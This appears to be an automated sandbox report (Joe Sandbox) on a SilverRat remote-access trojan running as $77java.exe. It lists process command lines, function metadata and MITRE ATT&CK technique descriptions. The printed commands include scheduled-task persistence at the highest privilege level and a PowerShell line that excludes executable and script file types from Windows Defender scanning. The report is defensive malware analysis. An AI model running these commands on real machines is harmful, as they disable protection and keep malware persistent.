MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat""
Imagebase:	0x7ff72bb10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 3
Imagebase:	0x7ff74dd30000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Users\user\java\$77java.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\java\$77java.exe"
Imagebase:	0x760000
File size:	46'592 bytes
MD5 hash:	537B270C2278044E4C3958530F745ECE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: C:\Users\user\java\$77java.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN $77java.exe
Imagebase:	0x7ff6609c0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Create /SC ONCE /TN "$77java.exe" /TR "C:\Users\user\java\$77java.exe \"\$77java.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
Imagebase:	0x7ff6609c0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN $77java.exe
Imagebase:	0x7ff6609c0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:53:11
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /sc daily /tn "java_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
Imagebase:	0x7ff6609c0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:53:11
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:53:11
Start date:	09/11/2024
Path:	C:\Users\user\java\$77java.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\java\$77java.exe "\$77java.exe" /AsAdmin
Imagebase:	0x210000
File size:	46'592 bytes
MD5 hash:	537B270C2278044E4C3958530F745ECE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:53:13
Start date:	09/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	53.8%
Total number of Nodes:	13
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34697C15 Relevance: 1.7, APIs: 1, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd8a9efe59ad994e993c81cbd99fe250a68d682a826e06e9fc91e899a4dc8af
Instruction ID: d77582696c1b9a1021cf10b7990099c4193c2f8eea8dc048b4ddda62d3e13821
Opcode Fuzzy Hash: 9fd8a9efe59ad994e993c81cbd99fe250a68d682a826e06e9fc91e899a4dc8af
Instruction Fuzzy Hash: C3511771A0CB9C8FD718DF28D8956F5BBF0EF9A311F14426FD08DD3262C664A8468791

Function 00007FFD34697C79 Relevance: 1.6, APIs: 1, Instructions: 119
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetValueKey.NTDLL ref: 00007FFD34697D2F

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c2b522cf19dec30e0cc577e3a41ad1977b8529c5f5dd2be870cd4377ee3298ec
Instruction ID: 8353e3d8f5ab89e94d8171ecf796616611c6826855f71e2c54300940140a62d2
Opcode Fuzzy Hash: c2b522cf19dec30e0cc577e3a41ad1977b8529c5f5dd2be870cd4377ee3298ec
Instruction Fuzzy Hash: 5D31E431A0CA4C8FDB58DF58D8466F97BE0FBA9321F10412FD049D3252D674A8468B81

Function 00007FFD346960C2 Relevance: .5, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2689518fc686edf0bd69d9cb585db26ad17e6eaf5e7bb543d96e494da31652
Instruction ID: 0415d64036107b1ba76ffbb53ceb7c498e3209f25adf7578b4f02b1b0775d1ad
Opcode Fuzzy Hash: 5c2689518fc686edf0bd69d9cb585db26ad17e6eaf5e7bb543d96e494da31652
Instruction Fuzzy Hash: BFE19430A0CA8E8FEBA8DF28C8657E977D1FF55310F14426ED84DC72A1DB78A9458781

Function 00007FFD34697A99 Relevance: 1.6, APIs: 1, Instructions: 136
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32 ref: 00007FFD34697B79

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e2a714aaa8e4fee38200da61c8f7037c1336e9e92db5a0ecd16fbc2875187eec
Instruction ID: ea47fb810b42c4dbaa4aafc3d603e7308ea1efe941ab28e980451e5f5b436b34
Opcode Fuzzy Hash: e2a714aaa8e4fee38200da61c8f7037c1336e9e92db5a0ecd16fbc2875187eec
Instruction Fuzzy Hash: 3541B37190CB588FDB18DF9898956F97BF0FBA9311F04426FD08DD3252CAB4A805CB92

Function 00007FFD34696820 Relevance: 1.6, APIs: 1, Instructions: 114
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetGetConnectedState.WININET ref: 00007FFD346968C4

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: 1a867958a92c657e9657850eeeeff7c9e9451ba105f24d2998d1d19072f75b73
Instruction ID: 9ade69bf2a0fcc23b643886eade9cbb411fb0ab9a0ae0f8750b0171dd0400523
Opcode Fuzzy Hash: 1a867958a92c657e9657850eeeeff7c9e9451ba105f24d2998d1d19072f75b73
Instruction Fuzzy Hash: 49310131A0C61C8FEB58DF98D8957E97BE1EB66320F04016FD049D3192DB74A846CBA1

Non-executed Functions

Function 00007FFD34695316 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab71d4494af701d5547f1aa7d8d38c2a44d02fe3945942b00580e752095c9a8c
Instruction ID: bce6672a1183edc75397dcdddfce1f419712f4a7074743915f5187477688b624
Opcode Fuzzy Hash: ab71d4494af701d5547f1aa7d8d38c2a44d02fe3945942b00580e752095c9a8c
Instruction Fuzzy Hash: 00F18531A0CA8D8FEBA8DF28C8657E937E1FF55311F04426EE84DC7291DB7899458B81

Function 00007FFD34691958 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161436496.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34690000_RLesaPFXew.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b1d1dbc277cdc128df9012821dae6e268e64d068c784659a2dd02360647477
Instruction ID: d86361d57b1d83938256a0efcaa0a2adcc45dc89aa3e38642bb1e24dbd4f0b6f
Opcode Fuzzy Hash: 62b1d1dbc277cdc128df9012821dae6e268e64d068c784659a2dd02360647477
Instruction Fuzzy Hash: 5C916257A0E7D21EE7536A7868F50E63F60DF5326971D01E7C2C4CB0A3ED0C284A9262

Analysis Process: $77java.exePID: 2940, Parent PID: 6068COMMON

Execution Graph

Execution Coverage:	19.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD3468A188 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD3468A251

Memory Dump Source

Source File: 0000000D.00000002.3393134615.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34680000_$77java.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: a6cf6c5c2147822b9a3168ba1f00461b980a61aec87b1dc5d1000ca82bd03ab0
Instruction ID: fe8075502e9302ba6a945a2f07b859f36d6b5cbb49b751855b482d27df5abadb
Opcode Fuzzy Hash: a6cf6c5c2147822b9a3168ba1f00461b980a61aec87b1dc5d1000ca82bd03ab0
Instruction Fuzzy Hash: B3412A30A1CA5C4FEB59DFAC98566F9BBE1EB59321F04027ED049D3192CE756812C7C1

Function 00007FFD34686820 Relevance: 1.6, APIs: 1, Instructions: 114
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetGetConnectedState.WININET ref: 00007FFD346868C4

Memory Dump Source

Source File: 0000000D.00000002.3393134615.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34680000_$77java.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: 3bbe94008a5b85540e7eb1d77355db0ed0d3b7d880b36fd536d450861e83d5c8
Instruction ID: 78f0789aa267eb67ca6d487e5b8ba3849f77449740d9a317bcda448b9045f142
Opcode Fuzzy Hash: 3bbe94008a5b85540e7eb1d77355db0ed0d3b7d880b36fd536d450861e83d5c8
Instruction Fuzzy Hash: 80310171A0C61C8FEB58DFA8D8857E97BE0EB56320F04416FD04DD3192CB24A856CB91

Analysis Process: $77java.exePID: 3000, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34690A35 Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

cBL_^, xrefs: 00007FFD34690ABB

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID: cBL_^
API String ID: 0-1749287841
Opcode ID: f253a7a5156928a065ca57cb357efd836d8aa0dbf15103bd97878480c2936a8a
Instruction ID: dea64b46c7ef5dbc0657999082ba9fe03e4217e00c4b7a93bd232fa1eae9b754
Opcode Fuzzy Hash: f253a7a5156928a065ca57cb357efd836d8aa0dbf15103bd97878480c2936a8a
Instruction Fuzzy Hash: 7151A121F1DE664AFBA5BB6880B63F932D0EF56305F4000BAE14ED31D7CEAD68419391

Function 00007FFD34690CD6 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db4c7a9b856ed0b4df014ec97e757e5ed85d934ca872bf0ce714f27a8f42e5c
Instruction ID: 52d831df9b15a2d584b2abc8e2fc0c55b9f4a25a950f6bc5d67f83e00a7be933
Opcode Fuzzy Hash: 8db4c7a9b856ed0b4df014ec97e757e5ed85d934ca872bf0ce714f27a8f42e5c
Instruction Fuzzy Hash: 5391E521B1DA994FE7A2F7B884796A53BE1EF4A21174500FAE44DCB2A3DD6C9C02C741

Function 00007FFD34690FCE Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681a9b6847563dc31186a5aed63fd2a7099069799648a626b09540dbc14a7f2b
Instruction ID: 538304940589e1a1bf5bd996418bad740dbdcb21d90f2080f4571a1c4ae500ef
Opcode Fuzzy Hash: 681a9b6847563dc31186a5aed63fd2a7099069799648a626b09540dbc14a7f2b
Instruction Fuzzy Hash: 6B71A631B0C9995FEB85EB6CD4A57E87BE1EF9A310F1401BAD04DC3293CD69A8428751

Function 00007FFD346904D8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91e492bdb7b49166a4b353b02ef3514d06fb0ea001a5e631c2ce11a68068606
Instruction ID: 764846954449d9d711013d2b660c5836c0b97937a439459b60b3ac3c9b4d69f8
Opcode Fuzzy Hash: e91e492bdb7b49166a4b353b02ef3514d06fb0ea001a5e631c2ce11a68068606
Instruction Fuzzy Hash: 01618031B189599FEB98EB5CD4A5BED7BE1FF99310F140179E04EC3292CE68AC428741

Function 00007FFD34690808 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 617b0430ffe846bbf321bce5ab210977cfab8fdf57bd874aca5c661f749aabd2
Instruction ID: c11ae67d78542458d0e6327c14c788806e3342632629709ca14d3876ba9099e7
Opcode Fuzzy Hash: 617b0430ffe846bbf321bce5ab210977cfab8fdf57bd874aca5c661f749aabd2
Instruction Fuzzy Hash: BB41B120B08B9E8FDB95FB98C4A12E97BF1FF99304B9080B5D44DD3787DA286901C791

Function 00007FFD34691431 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094824dd767b58c528b2d22bc0a15eaf04193a729eaa6306c261bc3ed4e51c36
Instruction ID: d5608b03c798a9784fc5cdd2ae151ab181398f13322cbd1a5d0e3a543fb5ee3b
Opcode Fuzzy Hash: 094824dd767b58c528b2d22bc0a15eaf04193a729eaa6306c261bc3ed4e51c36
Instruction Fuzzy Hash: C5012D21A0C7A51FF345AF2458B64F13FD4DB96764B1845BBE48CC71E3D84D55838392

Function 00007FFD34691258 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2210318370.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34690000_$77java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7798ef91e82d4fc2d5865734bb00287c98945f5eed30a7ef752e22f3c900ff49
Instruction ID: 23a45fb703a77e3e5545c8c584db24e349c9945fea03258e85b4e51c6426199b
Opcode Fuzzy Hash: 7798ef91e82d4fc2d5865734bb00287c98945f5eed30a7ef752e22f3c900ff49
Instruction Fuzzy Hash: ECE0687390DA0C1EEA18E91DAC06DE63FD8EBC7238F00005FE48DC2052E0527563C351

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

